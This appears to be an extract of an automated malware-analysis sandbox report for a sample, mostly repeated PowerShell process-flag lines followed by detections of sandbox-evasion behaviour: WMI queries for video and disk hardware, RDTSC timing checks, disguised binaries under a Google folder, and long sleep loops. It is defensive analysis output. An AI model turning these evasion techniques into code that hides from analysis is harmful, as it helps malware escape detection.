Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 0000000003044B4D second address: 0000000003044B5C instructions: 0x00000000 rdtsc 0x00000002 movzx dx, bl 0x00000006 bswap eax 0x00000008 inc cl 0x0000000a setnle dh 0x0000000d xor bl, cl 0x0000000f rdtsc
Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 0000000002D1F2D0 second address: 0000000002D1F2DF instructions: 0x00000000 rdtsc 0x00000002 movzx dx, bl 0x00000006 bswap eax 0x00000008 inc cl 0x0000000a setnle dh 0x0000000d xor bl, cl 0x0000000f rdtsc
Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 0000000002E6C131 second address: 0000000002E6C135 instructions: 0x00000000 rdtsc 0x00000002 pop ebx 0x00000003 pop ecx 0x00000004 rdtsc

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe TID: 4548	Thread sleep count: 9999 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 3172	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 3212	Thread sleep count: 9416 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5532	Thread sleep count: 9437 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1952	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe TID: 4872	Thread sleep count: 3161 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe TID: 4872	Thread sleep time: -31610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe TID: 4948	Thread sleep count: 792 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 5016	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5704	Thread sleep count: 1720 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6008	Thread sleep count: 31 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4984	Thread sleep time: -30000s >= -30000s
